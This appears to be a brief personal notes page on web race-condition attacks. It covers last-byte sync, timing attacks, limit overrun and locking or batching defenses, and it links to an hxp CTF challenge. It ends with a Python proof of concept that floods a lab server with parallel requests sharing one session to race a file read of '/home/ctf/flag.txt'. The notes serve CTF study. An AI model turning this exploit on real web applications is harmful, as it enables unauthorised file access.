Link to this headingRace Conditions

Smashing the state machine: the true potential of web race conditions

Link to this headingHTTP 1.1

Last Byte Sync: Since web servers wait for the last packet to be received before processing you withhold the last packet until you have the second request ready to finish.

Link to this headingHTTP 2

Timeless Timing attack:

Link to this headingLimit Overrun

Basic Race Condition Vulnerabilities

Link to this headingDefense

  • Locking database/session transactions
  • Batching Requests

Link to this headingExample

https://hxp.io/blog/114/hxp-38C3-CTF-Fajny-Jagazyn-Wartoci-Kluczy/
https://2024.ctf.link/internal/challenge/fb03748d-7e94-4ca2-8998-a5e0ffcbd761/

PoC:

#!/usr/bin/env python3 import requests, time from multiprocessing import Process, Queue URL = f'http://192.168.88.4:8088' num_processes = 16 def get_session_id(): r = requests.get(URL) session_id = r.cookies['session'] print('[+] session_id', session_id) return session_id def worker(session_id, path,queue): sess = requests.Session() sess.cookies.set('session', session_id) while True: r = sess.get(f"{URL}/get", params={'name': path}) if 'flag' in path and 'hxp{' in r.text: queue.put(r.text) def main(): session_id = get_session_id() time.sleep(1) queue = Queue() processes = [] for _ in range(num_processes // 2): p = Process(target=worker, args=(session_id, 'A', queue)) processes.append(p) p.start() for _ in range(num_processes // 2): p = Process(target=worker, args=(session_id, '/home/ctf/flag.txt', queue)) processes.append(p) p.start() flag = queue.get() print(flag) for p in processes: p.kill() if __name__ == "__main__": main()